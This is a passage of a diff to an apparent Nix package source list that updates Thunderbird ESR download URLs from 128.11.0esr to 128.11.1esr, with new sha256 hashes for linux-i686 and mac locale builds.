-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/nn-NO/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/nn-NO/thunderbird-128.11.1esr.tar.bz2";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "7fab860f87513fd6d51d5059885080eba0145679ae0e08cd32a5fcbce4b5574a";
+      sha256 = "55fc05dfdad632116c09683c4d7b13679114c8935dc4931723f4744240e0ca9c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/pa-IN/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/pa-IN/thunderbird-128.11.1esr.tar.bz2";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "71812f79a2caaf52d82d0c979a00d9617dc61cce7271e9fe7a77a0390d4781ff";
+      sha256 = "f4526e30c386550a95128830464b1ea8f2ff0e68fd8ae6aeba40a9c76fb0883f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/pl/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/pl/thunderbird-128.11.1esr.tar.bz2";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "c21318200cf87abf4ed29ee28042194e2e98476ec6b0b5e5a969c6f03edec86c";
+      sha256 = "be59a45e3866eec1e7034766cbbf7f40017e517763f96cf55dc028fde5a5e446";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/pt-BR/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/pt-BR/thunderbird-128.11.1esr.tar.bz2";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "38f250376d391e3b1d6e8911ffa17f958499635f5edbdf1f24ac1fe20b954d5d";
+      sha256 = "1ef73fbba3104f5c71939974ceb1a231489bc0bfd1d079e8394f51c59dc66923";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/pt-PT/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/pt-PT/thunderbird-128.11.1esr.tar.bz2";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "49486228ff9d9386c30121f0486e6706d0f0288a98d1a609b744b72e9b33f75e";
+      sha256 = "e8a28970d175427f75d61605fbef7cbff7fe39cf08d9427c3a3ea1f561b751b6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/rm/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/rm/thunderbird-128.11.1esr.tar.bz2";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "0ea2ca69000833a10ce6514c29271cef21f3d9f5c8190e65f7a4fb6e04772b11";
+      sha256 = "6b48d31bfa44c4815a4c09821b19c9249c6d916ff15712d163e3d7f74883345e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ro/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ro/thunderbird-128.11.1esr.tar.bz2";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "711600bf95079a73f2bb8eaa4f38a03f6f19a6ec0cc2a7eb190bc83e2691b400";
+      sha256 = "f12cd678b765d97f5ffa6aaaff007e7ec5c07ee4f95b78abaee83a19e3ab44a0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ru/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ru/thunderbird-128.11.1esr.tar.bz2";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "ae8a9c18f949cc8da0b59b1c5d0d8fcb8971c17b877ab3186d7db6ce7e4d1a5b";
+      sha256 = "686c8dd08600adf3bee7c32cf58cd575399e4cc7aa3e0905b0bd1613dfcd3358";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/sk/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/sk/thunderbird-128.11.1esr.tar.bz2";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "d208072fad055567a49aaebd077d0792ccd1eb5abe06bd1ded38290acb46be84";
+      sha256 = "0292c2f3343da364f29828dab5d24658fe31a707eb52bbc963b042f0f2501787";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/sl/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/sl/thunderbird-128.11.1esr.tar.bz2";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "1dfb61309fe70f8e2e150eec820f8b781fddaca80eb505aeacab20a606b79348";
+      sha256 = "a4bd96ee63ad05fac5bd45c506e9038537dbd9a8ac88e17387f43c8f6d9e2423";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/sq/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/sq/thunderbird-128.11.1esr.tar.bz2";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "e840139cab6e541aadee9176a499e8b43bdfe5b235c027be057863504ca8e8e4";
+      sha256 = "6b6614c7ac1a4a80725a146fdd5c2840228130b23d1abeb7e088a879d613b70d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/sr/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/sr/thunderbird-128.11.1esr.tar.bz2";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "e0bf6f7b511f42abe57aa8fb60c2c17644917b64fb2cce153d84c4c05f768c4c";
+      sha256 = "42ce92dcaf772e57d48cfcca18be0fc63a5aa3c76b6a257559ec5e003fd31451";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/sv-SE/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/sv-SE/thunderbird-128.11.1esr.tar.bz2";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "7a0c15fd62d7cac19603703ea98db055a8f6a2919b3014c24d4239ec81a9affa";
+      sha256 = "ae88cd1e1b4123e308107e804a339d05141c696c1ad7ee6d1c9c942269a39001";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/th/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/th/thunderbird-128.11.1esr.tar.bz2";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "a7ea7940d8633b658434bda40237fe6ade0d53119df682d3cf29e22dbc40d0a7";
+      sha256 = "a38e31d43db5cd6f67f1b40e72e8a93f21ea7e5492f50ff228677d66d9b1fb45";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/tr/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/tr/thunderbird-128.11.1esr.tar.bz2";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "b0eeccd04d688630eaf5b89abb315a8ae6d26ebdc9aa81e162de038f0b9ce823";
+      sha256 = "08e2ce8ba8e2960ba34bf3570a7d6bbe55d70b9f35aeb938c0c752fbffdc7131";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/uk/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/uk/thunderbird-128.11.1esr.tar.bz2";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "8887e558faf706e0d06361263467c530f0effbb5d98182f9c0a86660f43070ef";
+      sha256 = "de8b699e322488a765f354819d2f79baf530405ac0f4a6540ab5ac3b474f20d2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/uz/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/uz/thunderbird-128.11.1esr.tar.bz2";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "7340529cc7b782a976198ff9b406cc2ece3b38b5cb21e06f671a0dbe9e69624f";
+      sha256 = "2d969f62cf9c164a0623a769eebda1e3ff9790818cfce05978da3b49a630b726";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/vi/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/vi/thunderbird-128.11.1esr.tar.bz2";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "90fe241497823b198b05204ec7912286cf17adfab93278ef7ef6e3751a929505";
+      sha256 = "0e3585662595e365e54a4f4f8e06fc843729387f005607d6e78f4049db6c9657";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/zh-CN/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/zh-CN/thunderbird-128.11.1esr.tar.bz2";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "bce0ff5de4331df1318b97af68fdfcad66510bb3a45896c192e6a6430aebf884";
+      sha256 = "7365a226c7f4e7771edf4f90602d14826240d3352c77d6b736765b762cd25434";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/zh-TW/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/zh-TW/thunderbird-128.11.1esr.tar.bz2";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "0eb96f16b451c7f7dc767c5902cf718f23900e172f58fb75cf904ae2ac80c522";
+      sha256 = "f7c7afad8dbccdecc9c4e8a29f3450877e151512a931875a89521c8b39053837";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/af/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/af/Thunderbird%20128.11.1esr.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "da085fe383e5180a2a4f8c0f09d00a6aefb34f87165fa1294f3cd695d2fe1243";
+      sha256 = "5044e23b78ec2c1f06dcbc938d8849516005577c78445ae8212930572b5a4530";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ar/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ar/Thunderbird%20128.11.1esr.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "1669163e39c4faa41b731b3d3706dac9a711137ca9579aa08e4f5f0e415268bf";
+      sha256 = "51a94e0f3b040b53aabccee293b1b8e4f5be12a3fae4bbe5ce50ce95649f1701";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ast/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ast/Thunderbird%20128.11.1esr.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "15bed24f02a8acee10d8d1032d61192e69b51dd27b0c27111ffdd69bc01059ce";
+      sha256 = "493626258864ece20d2357b5ee94aa921100f6d0e50de3187123260963b736d5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/be/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/be/Thunderbird%20128.11.1esr.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "2ee91bc9d17323daddf940b1404483b76fbd453e466389167b2ab5fe94b18c94";
+      sha256 = "4a1c3252264b101400fa5cddebdc85143a0486a93df7db52a05e796dbf447cac";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/bg/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/bg/Thunderbird%20128.11.1esr.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "f443a05e626c2d97393f5837e74c73060d70d16986e03f59136f775ef6e4736d";
+      sha256 = "62221accab70032a18e5014aebcb032acc964875b3b586cb7a1e8a6d2e785c7c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/br/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/br/Thunderbird%20128.11.1esr.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "0fc5557a2e70a23e57ec42dfadd6845ee45216a381ec0fc10180243d66615a73";
+      sha256 = "1d75ebd1ce55ae195cd26b32c59689f6481cf68b7578151315d5006c669ed97b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ca/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ca/Thunderbird%20128.11.1esr.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "1e6362c01b20e61d6b01e6c7b99844463db75d87bdc42a0481fa2ceea74df788";
+      sha256 = "2be38ab16c24f73ad88baae4ce37b7121397cd9e5406f510ffec2df5103ad0a8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/cak/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/cak/Thunderbird%20128.11.1esr.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "a7cd7e195246ba738fc992f2dd5c157ed3f857cf4cd6c3925a8a5138de2c1df4";
+      sha256 = "54728cb3b6128eceeab66d509c7b90cf244504455f5425cfcfb49c881f3c68d3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/cs/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/cs/Thunderbird%20128.11.1esr.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "25698c35ea90de843cb228a31190c708b4f50868bae5fa86ff6108009984878b";
+      sha256 = "7a21159417b5fe4641155ae43e4d41effe94fbec0431fc0b5567484d7087c8c0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/cy/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/cy/Thunderbird%20128.11.1esr.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "a00be11e9f16854b74681cdda118bce2fc6c89dca9cdb7e94ab029556179d10b";
+      sha256 = "4044f729e7b202d50110529df9592617fe0b948c8b1860b456b3f3d38c341599";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/da/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/da/Thunderbird%20128.11.1esr.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "a2e83e16817051806676f162881e4e86e02c66597e373310b21ad1008146bb20";
+      sha256 = "da7e5440d28bca85f7a4456e39556e2f8c357feb024163d763d61ca3261b58db";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/de/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/de/Thunderbird%20128.11.1esr.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "f4d06c64a3e88ed08eee81b0f6fbf9ba58a9b08b41908324547f7490bca4b279";
+      sha256 = "2036cb0ec75668a4a82b524b752ed3973195e0e721fec14b9b101a36277dd72e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/dsb/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/dsb/Thunderbird%20128.11.1esr.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "ef0140803e0c66de10fbed038c9222b37ae4720f40351bb45cd04c6aac4c731f";
+      sha256 = "27404dc749bfc62b4153640a06421e77da13de6acca1867ea60623eea8a354af";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/el/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/el/Thunderbird%20128.11.1esr.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "9b6ee192ada2e5b8676d5f1aefcd8e22cc99c9a1eaabcd298fcf706eb62863b1";
+      sha256 = "9ec737d7b1ad4f2b062a1a430ca7316a2c4fcedab43b0a034926356ceda336ec";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/en-CA/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/en-CA/Thunderbird%20128.11.1esr.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "ac02b3c4c3230ee3cc398c4ecef9909efabfc501d47168861d9c0df272f9519d";
+      sha256 = "c55389c197313ea19c20a292fe52aba160185a7eb6ff6f47c21406f2b87de88e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/en-GB/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/en-GB/Thunderbird%20128.11.1esr.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "bc2c20160179b52efa9a5709ed4f3275560dfdaa0e4d3ca10766689e844f712a";
+      sha256 = "29e77840a36c3235d478e0d0b1843a7c9bbc6ed0fc2ca08e5302e4befe3f6784";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/en-US/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/en-US/Thunderbird%20128.11.1esr.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "4be869257fa9b50364f9f1cbe64e9b89520a4b1d11c1bf7727ea002320a0d7f3";
+      sha256 = "6aaeb32a4964b1bdee1322dbb2e0e17b54632a5cc5a4c8f8c2fa78bfdfed4365";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/es-AR/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/es-AR/Thunderbird%20128.11.1esr.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "e3bdbec28bf3cd1f63693581bd4bb3f402da1f1c4c9a850442a3c36f182524a1";
+      sha256 = "006229fe8ed1e141b09a2c835125cee3ed273e84198eebadfa8e66186121acd9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/es-ES/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/es-ES/Thunderbird%20128.11.1esr.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "9d4ce0f71c07514a34c4d28b19eb5dab2502770ff9da96649957808ab1b07b82";
+      sha256 = "643d80c431a4dc12760d492275797fb1b67f4edc699e731aeafec17e9f9d96e1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/es-MX/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/es-MX/Thunderbird%20128.11.1esr.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "7213926fd638ed67f2393d7eeae3cc648003b43f2713fed5c45c48a71957727f";
+      sha256 = "b18b4f8e9ca142e2a46f52c7f67aabc10365314be07b438bd20cb631ad4d6bbb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/et/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/et/Thunderbird%20128.11.1esr.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "eebd432cc11c7c5f464c88c31b79f02152dcf131959f15fa53580aa8d0073ead";
+      sha256 = "82d13921c5879939f35a3321e94fd6a67611da959806fd1795bb6442ec17c0cd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/eu/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/eu/Thunderbird%20128.11.1esr.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "f78b9242f66418c1b654c67ae43f4705c5c725f116061778905ff649d753f0c7";
+      sha256 = "a84dd42a44ed2124a7372d89c4f469605ff8837e80b33dad433cdb5a46988425";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/fi/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/fi/Thunderbird%20128.11.1esr.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "1c76f1a38ff3e5d1ec1b118e014eebccfe09e1a7375b337128978adfbbe8e31b";
+      sha256 = "d2f5b3a691fd66eb2c5a062ab79e845d689f63b913daa4bebdea5c5d548276c6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/fr/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/fr/Thunderbird%20128.11.1esr.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "b900fdb8621904b6bc8d2f730e4896ae82f7cfa4847fdbfb6c5e30716ecb529f";
+      sha256 = "305c169b9f254e695be9f35d8ade9ca72b225cd27220cc8858873d2f1b6f09ca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/fy-NL/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/fy-NL/Thunderbird%20128.11.1esr.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "00a351ef965a57b89a8b7fa5ba7b198c5ebba3d418c8484601146e501f129f16";
+      sha256 = "043043862111a5cac0c8411fc7884931e2546eff9f9ca84e4354d3b6858540f5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ga-IE/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ga-IE/Thunderbird%20128.11.1esr.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "9099460bf5eb5ac6299559a987105c8d1463118e60b3acb8e834a7305e14ee86";
+      sha256 = "8f1244fe456395030b0510fe4be3a81bfe9505a236b6c8ffd1d0e4da23424fbf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/gd/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/gd/Thunderbird%20128.11.1esr.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "1c7e069df9a19230ed6b894e3185c1b7b171ae0d5f1fac1c1bfb5c56317d50e1";
+      sha256 = "519466f56694b3256744ccbcfb9c070234e739c14c072c951a3082d2eb38af3d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/gl/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/gl/Thunderbird%20128.11.1esr.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "8b7c53595ac38cb56a4977b260a61552630b24601db4dc383a1d2be5944e538d";
+      sha256 = "beba3e556dcd796bf4c97e581aa7a3350723abee9dec21bfa87f908b08029ca0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/he/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/he/Thunderbird%20128.11.1esr.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "b8a50d2f13c25acfc52c8d28e833f524b92bca7d1af838cb25f67d05356b55cf";
+      sha256 = "f28de27c4c326fcd9c2fbcdd06162c19a85d797a57171e14d8e9da9d6f5fca11";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/hr/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/hr/Thunderbird%20128.11.1esr.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "f5a53ab0f611af6047bc58742f4ad3da14ef41478ab9b52ce2425ee3a7f1f686";
+      sha256 = "271cbd5738ada0ef82b104d58915517c449c8406dc60798580fb23930519a9d6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/hsb/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/hsb/Thunderbird%20128.11.1esr.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "6aa2fa1e62297d244fd18ac2f2517e75c9c8c381ac67fb0f14b9c3ad330529c2";
+      sha256 = "d0a0c1b967fd8bbc55d9e3c07463cbfc2fa00f71488b09a59551aa4607f4798c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/hu/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/hu/Thunderbird%20128.11.1esr.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "fbbfa983987a224920cc4fb806703e51e689f1d35801dfdea63a9f0249105a64";
+      sha256 = "3f04c03977715039a2eb3f7449a32b53a41b264e45c29d25315321c1c5277eef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/hy-AM/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/hy-AM/Thunderbird%20128.11.1esr.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "a45d3670f7f0e3b4556137d93dc6dd6754addf14998de1b2e4e849027e459d56";
+      sha256 = "53d33d183ae181bfac1fd721e105ba4142d6a0010be9cf5f3448cd46876a23da";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/id/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/id/Thunderbird%20128.11.1esr.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "00a7e4b6b9448e977952e0bb1784e863d444063604653f138202b93600477d43";
+      sha256 = "c5c0e230a22e18356524eefe04c7590625d6e616901de4a1fd02439c32333d26";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/is/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/is/Thunderbird%20128.11.1esr.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "2a7ed1ddba330a2bea14ee1ebe03355e86243b257eecd289ba28a3ba95a11c3a";
+      sha256 = "211762c3d1d400be1c3f2a568a0111c56338553ce57f5b938c25d369f9cd6e22";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/it/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/it/Thunderbird%20128.11.1esr.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "7da455c0c44b199cc46311ed898f851f0e41b7d948e3e8098fe4ec61b8d8e135";
+      sha256 = "acc08c97b56f20df44483402071e11c63410646181bc49ed43a144a8aa76a523";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ja-JP-mac/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ja-JP-mac/Thunderbird%20128.11.1esr.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "a0bf0b932bd66b0c9e736576d60eae8d15c5ad034693ffba6d255916afa6e123";
+      sha256 = "507c90c52b0f43df9eb08df40ce5b62fb132a00a561007d2d0b8759052419195";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ka/Thunderbird%20128.11.0esr.dmg";
